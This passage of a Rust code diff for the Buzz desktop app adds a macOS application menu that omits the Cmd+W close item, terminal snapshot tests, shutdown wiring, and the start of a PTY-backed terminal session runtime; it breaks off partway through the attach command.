fn a_snapshot_is_billed_to_the_renderer_plane() {
|
||||||
|
let (shared, _actions) = terminal(20, 4);
|
||||||
|
shared.feed_fully(b"content");
|
||||||
|
|
||||||
|
shared.reader_acquire().reset();
|
||||||
|
shared.renderer_acquire().reset();
|
||||||
|
|
||||||
|
let mut attaching = Encoder::new();
|
||||||
|
let _ = shared.snapshot(&mut attaching);
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
shared.renderer_acquire().snapshot().acquisitions,
|
||||||
|
1,
|
||||||
|
"the snapshot's lock acquisition belongs to the renderer plane"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
shared.reader_acquire().snapshot().acquisitions,
|
||||||
|
0,
|
||||||
|
"a full-grid copy must not be charged to the reader plane"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Two consecutive snapshots with no output between them still both carry the
|
||||||
|
/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and
|
||||||
|
/// nothing about the first may disarm the second.
|
||||||
|
#[test]
|
||||||
|
fn snapshots_are_repeatable() {
|
||||||
|
let (shared, _actions) = terminal(20, 4);
|
||||||
|
shared.feed_fully(b"persistent");
|
||||||
|
|
||||||
|
let mut first = Encoder::new();
|
||||||
|
let mut second = Encoder::new();
|
||||||
|
assert_eq!(
|
||||||
|
visible_text(&shared.snapshot(&mut first)),
|
||||||
|
vec!["persistent"]
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
visible_text(&shared.snapshot(&mut second)),
|
||||||
|
vec!["persistent"],
|
||||||
|
"a second subscriber attaching later must see the same screen"
|
||||||
|
);
|
||||||
|
}
|
||||||
115
desktop/src-tauri/src/app_menu.rs
Normal file
115
desktop/src-tauri/src/app_menu.rs
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
//! The macOS application menu.
|
||||||
|
//!
|
||||||
|
//! Buzz never called `Builder::menu()`, so Tauri installed `Menu::default()`
|
||||||
|
//! for us (`tauri::app::Builder::build`, macOS arm). That default puts a
|
||||||
|
//! `close_window` item in both the File and Window submenus, and muda gives
|
||||||
|
//! that item a Cmd+W key equivalent bound to `performClose:`.
|
||||||
|
//!
|
||||||
|
//! Two consequences, both wrong for Buzz:
|
||||||
|
//!
|
||||||
|
//! 1. `CloseRequested` on the main window is intercepted in `lib.rs` and turned
|
||||||
|
//! into hide-to-tray, so Cmd+W never closed a window -- it hid the whole
|
||||||
|
//! app. That is already redundant with Cmd+H (Hide), which stays.
|
||||||
|
//! 2. macOS resolves a menu key equivalent before the webview receives any key
|
||||||
|
//! event, so Buzz Term could never bind Cmd+W to "close this terminal tab"
|
||||||
|
//! while the accelerator was claimed here.
|
||||||
|
//!
|
||||||
|
//! So this module builds the standard menu minus both `close_window` items.
|
||||||
|
//! Everything else matches `Menu::default()` deliberately: the goal is to drop
|
||||||
|
//! one item, not to design a menu.
|
||||||
|
//!
|
||||||
|
//! If hide-on-Cmd+W is ever wanted back in Buzz mode, the revisit path is to
|
||||||
|
//! restore the item and disable it while the terminal owns input (a disabled
|
||||||
|
//! item does not consume its key equivalent) -- at the cost of an owner->Rust
|
||||||
|
//! IPC hop this approach does not need.
|
||||||
|
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
use tauri::menu::{
|
||||||
|
AboutMetadata, Menu, PredefinedMenuItem, Submenu, HELP_SUBMENU_ID, WINDOW_SUBMENU_ID,
|
||||||
|
};
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
use tauri::AppHandle;
|
||||||
|
use tauri::{Builder, Runtime};
|
||||||
|
|
||||||
|
/// Installs Buzz's menu, replacing the `Menu::default()` Tauri would otherwise
|
||||||
|
/// auto-install. A no-op off macOS, where that default is never created and
|
||||||
|
/// the Cmd+W accelerator does not exist.
|
||||||
|
pub fn install<R: Runtime>(builder: Builder<R>) -> Builder<R> {
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
let builder = builder.menu(build);
|
||||||
|
builder
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Mirrors `Menu::default()` with every `close_window` item omitted.
|
||||||
|
///
|
||||||
|
/// The Window and Help submenus keep Tauri's well-known ids: `init_app_menu`
|
||||||
|
/// looks them up by id to call `set_as_windows_menu_for_nsapp` and
|
||||||
|
/// `set_as_help_menu_for_nsapp`, and a plain `with_items` submenu would skip
|
||||||
|
/// both silently -- no error, just a Window menu AppKit no longer manages.
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
pub fn build<R: Runtime>(app: &AppHandle<R>) -> tauri::Result<Menu<R>> {
|
||||||
|
let pkg_info = app.package_info();
|
||||||
|
let config = app.config();
|
||||||
|
let about_metadata = AboutMetadata {
|
||||||
|
name: Some(pkg_info.name.clone()),
|
||||||
|
version: Some(pkg_info.version.to_string()),
|
||||||
|
copyright: config.bundle.copyright.clone(),
|
||||||
|
authors: config.bundle.publisher.clone().map(|p| vec![p]),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
Menu::with_items(
|
||||||
|
app,
|
||||||
|
&[
|
||||||
|
&Submenu::with_items(
|
||||||
|
app,
|
||||||
|
pkg_info.name.clone(),
|
||||||
|
true,
|
||||||
|
&[
|
||||||
|
&PredefinedMenuItem::about(app, None, Some(about_metadata))?,
|
||||||
|
&PredefinedMenuItem::separator(app)?,
|
||||||
|
&PredefinedMenuItem::services(app, None)?,
|
||||||
|
&PredefinedMenuItem::separator(app)?,
|
||||||
|
&PredefinedMenuItem::hide(app, None)?,
|
||||||
|
&PredefinedMenuItem::hide_others(app, None)?,
|
||||||
|
&PredefinedMenuItem::separator(app)?,
|
||||||
|
&PredefinedMenuItem::quit(app, None)?,
|
||||||
|
],
|
||||||
|
)?,
|
||||||
|
// `Menu::default()`'s File submenu holds exactly one item on macOS
|
||||||
|
// -- close_window -- so dropping that item drops the submenu too.
|
||||||
|
&Submenu::with_items(
|
||||||
|
app,
|
||||||
|
"Edit",
|
||||||
|
true,
|
||||||
|
&[
|
||||||
|
&PredefinedMenuItem::undo(app, None)?,
|
||||||
|
&PredefinedMenuItem::redo(app, None)?,
|
||||||
|
&PredefinedMenuItem::separator(app)?,
|
||||||
|
&PredefinedMenuItem::cut(app, None)?,
|
||||||
|
&PredefinedMenuItem::copy(app, None)?,
|
||||||
|
&PredefinedMenuItem::paste(app, None)?,
|
||||||
|
&PredefinedMenuItem::select_all(app, None)?,
|
||||||
|
],
|
||||||
|
)?,
|
||||||
|
&Submenu::with_items(
|
||||||
|
app,
|
||||||
|
"View",
|
||||||
|
true,
|
||||||
|
&[&PredefinedMenuItem::fullscreen(app, None)?],
|
||||||
|
)?,
|
||||||
|
&Submenu::with_id_and_items(
|
||||||
|
app,
|
||||||
|
WINDOW_SUBMENU_ID,
|
||||||
|
"Window",
|
||||||
|
true,
|
||||||
|
&[
|
||||||
|
&PredefinedMenuItem::minimize(app, None)?,
|
||||||
|
&PredefinedMenuItem::maximize(app, None)?,
|
||||||
|
],
|
||||||
|
)?,
|
||||||
|
// Empty upstream too on macOS: About lives in the app submenu.
|
||||||
|
&Submenu::with_id_and_items(app, HELP_SUBMENU_ID, "Help", true, &[])?,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
#![recursion_limit = "256"] // Deep Tauri command futures exceed the default layout query depth.
|
#![recursion_limit = "256"] // Deep Tauri command futures exceed the default layout query depth.
|
||||||
|
mod app_menu;
|
||||||
mod app_state;
|
mod app_state;
|
||||||
mod archive;
|
mod archive;
|
||||||
mod builderlab;
|
mod builderlab;
|
||||||
@@ -33,6 +34,9 @@ mod reset;
|
|||||||
mod secret_store;
|
mod secret_store;
|
||||||
mod shutdown;
|
mod shutdown;
|
||||||
mod templates;
|
mod templates;
|
||||||
|
mod terminal_runtime;
|
||||||
|
#[cfg_attr(not(test), allow(dead_code))]
|
||||||
|
mod terminal_transport;
|
||||||
#[cfg(target_os = "macos")]
|
#[cfg(target_os = "macos")]
|
||||||
mod tray_menu;
|
mod tray_menu;
|
||||||
mod util;
|
mod util;
|
||||||
@@ -105,7 +109,6 @@ pub fn run() {
|
|||||||
eprintln!("buzz-mesh: failed to build big-stack tokio runtime, using default: {error}");
|
eprintln!("buzz-mesh: failed to build big-stack tokio runtime, using default: {error}");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
let builder = tauri::Builder::default()
|
let builder = tauri::Builder::default()
|
||||||
.plugin(tauri_plugin_single_instance::init(|app, argv, _cwd| {
|
.plugin(tauri_plugin_single_instance::init(|app, argv, _cwd| {
|
||||||
// Focus the existing window when a duplicate instance launches.
|
// Focus the existing window when a duplicate instance launches.
|
||||||
@@ -287,10 +290,7 @@ pub fn run() {
|
|||||||
builder.plugin(tauri_plugin_updater::Builder::new().build())
|
builder.plugin(tauri_plugin_updater::Builder::new().build())
|
||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(not(buzz_updater_enabled))]
|
let app = app_menu::install(builder)
|
||||||
let builder = builder;
|
|
||||||
|
|
||||||
let app = builder
|
|
||||||
.register_asynchronous_uri_scheme_protocol("buzz-media", |ctx, request, responder| {
|
.register_asynchronous_uri_scheme_protocol("buzz-media", |ctx, request, responder| {
|
||||||
let app = ctx.app_handle().clone();
|
let app = ctx.app_handle().clone();
|
||||||
tauri::async_runtime::spawn(async move {
|
tauri::async_runtime::spawn(async move {
|
||||||
@@ -304,6 +304,7 @@ pub fn run() {
|
|||||||
.manage(BuilderlabSession::default())
|
.manage(BuilderlabSession::default())
|
||||||
.manage(BuilderlabLogin::default())
|
.manage(BuilderlabLogin::default())
|
||||||
.manage(commands::pairing::PairingHandle::new())
|
.manage(commands::pairing::PairingHandle::new())
|
||||||
|
.manage(terminal_runtime::TerminalSessions::default())
|
||||||
.setup(move |app| {
|
.setup(move |app| {
|
||||||
let app_handle = app.handle().clone();
|
let app_handle = app.handle().clone();
|
||||||
#[cfg(target_os = "macos")]
|
#[cfg(target_os = "macos")]
|
||||||
@@ -599,6 +600,15 @@ pub fn run() {
|
|||||||
Ok(())
|
Ok(())
|
||||||
})
|
})
|
||||||
.invoke_handler(tauri::generate_handler![
|
.invoke_handler(tauri::generate_handler![
|
||||||
|
terminal_runtime::terminal_attach,
|
||||||
|
terminal_runtime::terminal_detach,
|
||||||
|
terminal_runtime::terminal_close,
|
||||||
|
terminal_runtime::terminal_input,
|
||||||
|
terminal_runtime::terminal_resize,
|
||||||
|
terminal_runtime::terminal_scroll,
|
||||||
|
terminal_runtime::terminal_ack,
|
||||||
|
terminal_runtime::terminal_viewport_ready,
|
||||||
|
terminal_runtime::terminal_focus,
|
||||||
take_pending_community_deep_link,
|
take_pending_community_deep_link,
|
||||||
acknowledge_pending_community_deep_link,
|
acknowledge_pending_community_deep_link,
|
||||||
start_builderlab_login,
|
start_builderlab_login,
|
||||||
|
|||||||
@@ -19,6 +19,8 @@ pub(crate) fn shut_down_app(app: &tauri::AppHandle, shutdown_done: &std::sync::a
|
|||||||
.store(true, Ordering::SeqCst);
|
.store(true, Ordering::SeqCst);
|
||||||
if !shutdown_done.swap(true, Ordering::SeqCst) {
|
if !shutdown_done.swap(true, Ordering::SeqCst) {
|
||||||
prevent_sleep::release(&app.state::<AppState>().prevent_sleep);
|
prevent_sleep::release(&app.state::<AppState>().prevent_sleep);
|
||||||
|
app.state::<crate::terminal_runtime::TerminalSessions>()
|
||||||
|
.shutdown_all();
|
||||||
if let Err(error) = shutdown_managed_agents(app) {
|
if let Err(error) = shutdown_managed_agents(app) {
|
||||||
eprintln!("buzz-desktop: failed to stop managed agents: {error}");
|
eprintln!("buzz-desktop: failed to stop managed agents: {error}");
|
||||||
}
|
}
|
||||||
@@ -40,6 +42,8 @@ pub(crate) fn install_signal_handler(
|
|||||||
.shutdown_started
|
.shutdown_started
|
||||||
.store(true, Ordering::SeqCst);
|
.store(true, Ordering::SeqCst);
|
||||||
if !shutdown_done.swap(true, Ordering::SeqCst) {
|
if !shutdown_done.swap(true, Ordering::SeqCst) {
|
||||||
|
app.state::<crate::terminal_runtime::TerminalSessions>()
|
||||||
|
.shutdown_all();
|
||||||
let _ = shutdown_managed_agents(&app);
|
let _ = shutdown_managed_agents(&app);
|
||||||
#[cfg(feature = "mesh-llm")]
|
#[cfg(feature = "mesh-llm")]
|
||||||
shutdown_mesh_runtime(&app);
|
shutdown_mesh_runtime(&app);
|
||||||
|
|||||||
984
desktop/src-tauri/src/terminal_runtime.rs
Normal file
984
desktop/src-tauri/src/terminal_runtime.rs
Normal file
@@ -0,0 +1,984 @@
|
|||||||
|
//! Rust-owned PTY sessions and the typed Tauri transport for Buzz Substrate.
|
||||||
|
|
||||||
|
use std::io::{Read, Write};
|
||||||
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
|
use std::sync::{Arc, Mutex};
|
||||||
|
use std::thread::JoinHandle;
|
||||||
|
|
||||||
|
use buzz_terminal::context::{context_vars, GuiContext};
|
||||||
|
use buzz_terminal::damage::{Frame, Style};
|
||||||
|
use buzz_terminal::{Fences, SharedTerminal, Size, Terminal, Viewport};
|
||||||
|
use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use tauri::ipc::Channel;
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
use crate::terminal_transport::{FramePublisher, OfferError, Publication, SubscriptionId};
|
||||||
|
|
||||||
|
mod scroll_sign;
|
||||||
|
|
||||||
|
use scroll_sign::{scroll_by_dom_lines, DomLines};
|
||||||
|
|
||||||
|
const MAX_LIVE_SESSIONS: usize = 20;
|
||||||
|
const MAX_INPUT_BYTES: usize = 1024 * 1024;
|
||||||
|
|
||||||
|
type Result<T> = std::result::Result<T, String>;
|
||||||
|
|
||||||
|
#[derive(Debug, Deserialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct AttachRequest {
|
||||||
|
/// Present when a renderer remounts onto an existing PTY-backed tab.
|
||||||
|
session_id: Option<String>,
|
||||||
|
channel_id: String,
|
||||||
|
channel_name: String,
|
||||||
|
thread_id: Option<String>,
|
||||||
|
npub: String,
|
||||||
|
relay_url: String,
|
||||||
|
columns: u16,
|
||||||
|
rows: u16,
|
||||||
|
pixel_width: u16,
|
||||||
|
pixel_height: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct WireViewport {
|
||||||
|
generation: u64,
|
||||||
|
columns: usize,
|
||||||
|
screen_lines: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<Viewport> for WireViewport {
|
||||||
|
fn from(value: Viewport) -> Self {
|
||||||
|
Self {
|
||||||
|
generation: value.generation,
|
||||||
|
columns: value.columns,
|
||||||
|
screen_lines: value.screen_lines,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<WireViewport> for Viewport {
|
||||||
|
fn from(value: WireViewport) -> Self {
|
||||||
|
Self {
|
||||||
|
generation: value.generation,
|
||||||
|
columns: value.columns,
|
||||||
|
screen_lines: value.screen_lines,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct AttachResponse {
|
||||||
|
session_id: String,
|
||||||
|
subscription_id: String,
|
||||||
|
viewport: WireViewport,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct WireStyle {
|
||||||
|
fg: u32,
|
||||||
|
bg: u32,
|
||||||
|
flags: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<Style> for WireStyle {
|
||||||
|
fn from(value: Style) -> Self {
|
||||||
|
Self {
|
||||||
|
fg: value.fg,
|
||||||
|
bg: value.bg,
|
||||||
|
flags: value.flags,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct WireCluster {
|
||||||
|
column: usize,
|
||||||
|
text: String,
|
||||||
|
width: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct WireSpan {
|
||||||
|
style: WireStyle,
|
||||||
|
clusters: Vec<WireCluster>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct WireRow {
|
||||||
|
line: usize,
|
||||||
|
spans: Vec<WireSpan>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct WireCursor {
|
||||||
|
line: usize,
|
||||||
|
column: usize,
|
||||||
|
visible: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(rename_all = "camelCase")]
|
||||||
|
pub(crate) struct FrameMessage {
|
||||||
|
subscription_id: String,
|
||||||
|
sequence: u64,
|
||||||
|
rows: Vec<WireRow>,
|
||||||
|
cursor: WireCursor,
|
||||||
|
full: bool,
|
||||||
|
viewport: WireViewport,
|
||||||
|
bracketed_paste: bool,
|
||||||
|
focus_reporting: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
#[serde(tag = "type", content = "payload", rename_all = "camelCase")]
|
||||||
|
pub(crate) enum TerminalMessage {
|
||||||
|
Frame(FrameMessage),
|
||||||
|
Title(String),
|
||||||
|
ResetTitle,
|
||||||
|
Bell,
|
||||||
|
Exit,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wire_publication(publication: Publication) -> Result<FrameMessage> {
|
||||||
|
let frame = publication.frame;
|
||||||
|
let rows = frame
|
||||||
|
.rows
|
||||||
|
.into_iter()
|
||||||
|
.map(|row| {
|
||||||
|
let spans = row
|
||||||
|
.spans
|
||||||
|
.into_iter()
|
||||||
|
.map(|span| {
|
||||||
|
if !span.counts_are_consistent() {
|
||||||
|
return Err(
|
||||||
|
"terminal engine emitted an inconsistent cluster count".to_string()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
let clusters = if span.cluster_count == 1 {
|
||||||
|
vec![WireCluster {
|
||||||
|
column: span.column,
|
||||||
|
text: span.text,
|
||||||
|
width: span.width,
|
||||||
|
}]
|
||||||
|
} else {
|
||||||
|
span.text
|
||||||
|
.chars()
|
||||||
|
.enumerate()
|
||||||
|
.map(|(index, ch)| WireCluster {
|
||||||
|
column: span.column + index * usize::from(span.width),
|
||||||
|
text: ch.to_string(),
|
||||||
|
width: span.width,
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
};
|
||||||
|
Ok(WireSpan {
|
||||||
|
style: span.style.into(),
|
||||||
|
clusters,
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.collect::<Result<Vec<_>>>()?;
|
||||||
|
Ok(WireRow {
|
||||||
|
line: row.line,
|
||||||
|
spans,
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.collect::<Result<Vec<_>>>()?;
|
||||||
|
Ok(FrameMessage {
|
||||||
|
subscription_id: publication.subscription_id.to_string(),
|
||||||
|
sequence: publication.sequence,
|
||||||
|
rows,
|
||||||
|
cursor: WireCursor {
|
||||||
|
line: frame.cursor.line,
|
||||||
|
column: frame.cursor.column,
|
||||||
|
visible: frame.cursor.visible,
|
||||||
|
},
|
||||||
|
full: frame.full,
|
||||||
|
viewport: frame.viewport.into(),
|
||||||
|
bracketed_paste: false,
|
||||||
|
focus_reporting: false,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn feed_and_drain(terminal: &SharedTerminal, bytes: &[u8]) -> bool {
|
||||||
|
let mut more = terminal.feed(bytes);
|
||||||
|
let deferred = more;
|
||||||
|
while more && !terminal.is_closing() {
|
||||||
|
more = terminal.drain();
|
||||||
|
}
|
||||||
|
deferred
|
||||||
|
}
|
||||||
|
|
||||||
|
struct ReaderThread {
|
||||||
|
handle: Option<JoinHandle<()>>,
|
||||||
|
terminal: Arc<SharedTerminal>,
|
||||||
|
stopping: Arc<AtomicBool>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl buzz_terminal::lifecycle::DrainingReader for ReaderThread {
|
||||||
|
fn begin_closing(&self) {
|
||||||
|
self.terminal.begin_closing();
|
||||||
|
}
|
||||||
|
|
||||||
|
fn stop(&self) {
|
||||||
|
self.stopping.store(true, Ordering::Release);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn join(mut self: Box<Self>) {
|
||||||
|
if let Some(handle) = self.handle.take() {
|
||||||
|
let _ = handle.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct Session {
|
||||||
|
id: Uuid,
|
||||||
|
terminal: Arc<SharedTerminal>,
|
||||||
|
master: Option<Box<dyn MasterPty + Send>>,
|
||||||
|
writer: Arc<Mutex<Box<dyn Write + Send>>>,
|
||||||
|
pty_size: Arc<Mutex<PtySize>>,
|
||||||
|
child: Box<dyn portable_pty::Child + Send + Sync>,
|
||||||
|
reader: Option<Box<dyn buzz_terminal::lifecycle::DrainingReader + Send>>,
|
||||||
|
publisher: Arc<Mutex<FramePublisher>>,
|
||||||
|
channel: Arc<Mutex<Option<Channel<TerminalMessage>>>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Session {
|
||||||
|
fn publish(&self, publication: Publication) {
|
||||||
|
let subscription = publication.subscription_id;
|
||||||
|
let sent = wire_publication(publication).and_then(|message| {
|
||||||
|
let (bracketed_paste, focus_reporting) = self.terminal.input_modes();
|
||||||
|
let mut message = message;
|
||||||
|
message.bracketed_paste = bracketed_paste;
|
||||||
|
message.focus_reporting = focus_reporting;
|
||||||
|
self.channel
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.as_ref()
|
||||||
|
.ok_or_else(|| "terminal renderer detached".to_string())?
|
||||||
|
.send(TerminalMessage::Frame(message))
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
});
|
||||||
|
if sent.is_err() {
|
||||||
|
if let Ok(mut channel) = self.channel.lock() {
|
||||||
|
*channel = None;
|
||||||
|
}
|
||||||
|
if let Ok(mut publisher) = self.publisher.lock() {
|
||||||
|
publisher.fault(subscription);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn shutdown(mut self) {
|
||||||
|
// Publication is detached before the reader enters close mode; the
|
||||||
|
// lifecycle helper then abandons parser work and keeps raw-draining
|
||||||
|
// through child termination and reap. Keep the renderer channel alive
|
||||||
|
// until the reader has reported Exit; close() removes the session from
|
||||||
|
// the runtime before shutdown begins, so this is its final message.
|
||||||
|
if let Ok(mut publisher) = self.publisher.lock() {
|
||||||
|
publisher.close();
|
||||||
|
}
|
||||||
|
if let Some(reader) = self.reader.take() {
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
let _ = buzz_terminal::lifecycle::shutdown_draining(&mut self.child, reader);
|
||||||
|
}
|
||||||
|
#[cfg(not(unix))]
|
||||||
|
{
|
||||||
|
reader.begin_closing();
|
||||||
|
let _ = self.child.kill();
|
||||||
|
let _ = self.child.wait();
|
||||||
|
reader.stop();
|
||||||
|
reader.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Ok(mut channel) = self.channel.lock() {
|
||||||
|
*channel = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct TerminalSessions(Mutex<Vec<Session>>);
|
||||||
|
|
||||||
|
impl TerminalSessions {
|
||||||
|
fn with_session<T>(&self, id: &str, f: impl FnOnce(&mut Session) -> Result<T>) -> Result<T> {
|
||||||
|
let id = Uuid::parse_str(id).map_err(|_| "invalid terminal session id".to_string())?;
|
||||||
|
let mut sessions = self.0.lock().map_err(|e| e.to_string())?;
|
||||||
|
let session = sessions
|
||||||
|
.iter_mut()
|
||||||
|
.find(|session| session.id == id)
|
||||||
|
.ok_or_else(|| "terminal session not found".to_string())?;
|
||||||
|
f(session)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn shutdown_all(&self) {
|
||||||
|
let sessions = self
|
||||||
|
.0
|
||||||
|
.lock()
|
||||||
|
.map(|mut sessions| std::mem::take(&mut *sessions))
|
||||||
|
.unwrap_or_default();
|
||||||
|
for session in sessions {
|
||||||
|
session.shutdown();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn size(columns: u16, rows: u16) -> Result<Size> {
|
||||||
|
if columns == 0 || rows == 0 {
|
||||||
|
return Err("terminal dimensions must be non-zero".to_string());
|
||||||
|
}
|
||||||
|
Ok(Size {
|
||||||
|
columns: usize::from(columns),
|
||||||
|
screen_lines: usize::from(rows),
|
||||||
|
..Size::default()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn pty_size(columns: u16, rows: u16, pixel_width: u16, pixel_height: u16) -> PtySize {
|
||||||
|
PtySize {
|
||||||
|
rows,
|
||||||
|
cols: columns,
|
||||||
|
pixel_width,
|
||||||
|
pixel_height,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn offer_capture(
|
||||||
|
publisher: &Mutex<FramePublisher>,
|
||||||
|
frame: Frame,
|
||||||
|
snapshot: impl FnOnce() -> Frame,
|
||||||
|
) -> Option<Publication> {
|
||||||
|
let offered = publisher.lock().ok()?.offer(frame);
|
||||||
|
match offered {
|
||||||
|
Ok(publication) => publication,
|
||||||
|
Err(OfferError::PendingFrameMustBeSnapshot) => {
|
||||||
|
publisher.lock().ok()?.offer(snapshot()).ok().flatten()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub(crate) fn terminal_attach(
|
||||||
|
request: AttachRequest,
|
||||||
|
on_frame: Channel<TerminalMessage>,
|
||||||
|
state: tauri::State<'_, TerminalSessions>,
|
||||||
|
) -> Result<AttachResponse> {
|
||||||
|
let terminal_size = size(request.columns, request.rows)?;
|
||||||
|
let mut sessions = state.0.lock().map_err(|e| e.to_string())?;
|
||||||
|
|
||||||
|
if let Some(existing_id) = request.session_id.as_deref() {
|
||||||
|
let existing_id =
|
||||||
|
Uuid::parse_str(existing_id).map_err(|_| "invalid terminal session id".to_string())?;
|
||||||
|
let session = sessions
|
||||||
|
.iter_mut()
|
||||||
|
.find(|session| session.id == existing_id)
|
||||||
|
.ok_or_else(|| "terminal session not found".to_string())?;
|
||||||
|
let subscription = SubscriptionId::new();
|
||||||
|
let mut encoder = buzz_terminal::damage::Encoder::new();
|
||||||
|
let snapshot = session.terminal.snapshot(&mut encoder);
|
||||||
|
let viewport = snapshot.viewport;
|
||||||
|
*session.channel.lock().map_err(|e| e.to_string())? = Some(on_frame);
|
||||||
|
let bootstrap = session
|
||||||
|
.publisher
|
||||||
|
.lock()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.attach(subscription, snapshot)
|
||||||
|
.map_err(|_| "terminal snapshot rejected".to_string())?;
|
||||||
|
session.publish(bootstrap);
|
||||||
|
return Ok(AttachResponse {
|
||||||
|
session_id: existing_id.to_string(),
|
||||||
|
subscription_id: subscription.to_string(),
|
||||||
|
viewport: viewport.into(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if sessions.len() >= MAX_LIVE_SESSIONS {
|
||||||
|
return Err("too many live terminal sessions".to_string());
|
||||||
|
}
|
||||||
|
|
||||||
|
let id = Uuid::new_v4();
|
||||||
|
let pair = native_pty_system()
|
||||||
|
.openpty(pty_size(
|
||||||
|
request.columns,
|
||||||
|
request.rows,
|
||||||
|
request.pixel_width,
|
||||||
|
request.pixel_height,
|
||||||
|
))
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
let shell = {
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
buzz_terminal::shell::resolve_shell(std::env::var("SHELL").ok().as_deref())
|
||||||
|
}
|
||||||
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
|
buzz_terminal::shell::resolve_shell(std::env::var("ComSpec").ok().as_deref())
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let mut command = CommandBuilder::new_default_prog();
|
||||||
|
buzz_terminal::env_fence::fence_env(
|
||||||
|
&mut command,
|
||||||
|
&buzz_terminal::path::user_shell_path(),
|
||||||
|
&shell,
|
||||||
|
);
|
||||||
|
let context = GuiContext {
|
||||||
|
channel_id: request.channel_id,
|
||||||
|
channel_name: request.channel_name,
|
||||||
|
thread_id: request.thread_id,
|
||||||
|
npub: request.npub,
|
||||||
|
relay_url: request.relay_url,
|
||||||
|
session_id: id.to_string(),
|
||||||
|
};
|
||||||
|
for (key, value) in context_vars(&context) {
|
||||||
|
command.env(key, value);
|
||||||
|
}
|
||||||
|
let child = pair
|
||||||
|
.slave
|
||||||
|
.spawn_command(command)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
drop(pair.slave);
|
||||||
|
let mut reader = pair.master.try_clone_reader().map_err(|e| e.to_string())?;
|
||||||
|
let writer = Arc::new(Mutex::new(
|
||||||
|
pair.master.take_writer().map_err(|e| e.to_string())?,
|
||||||
|
));
|
||||||
|
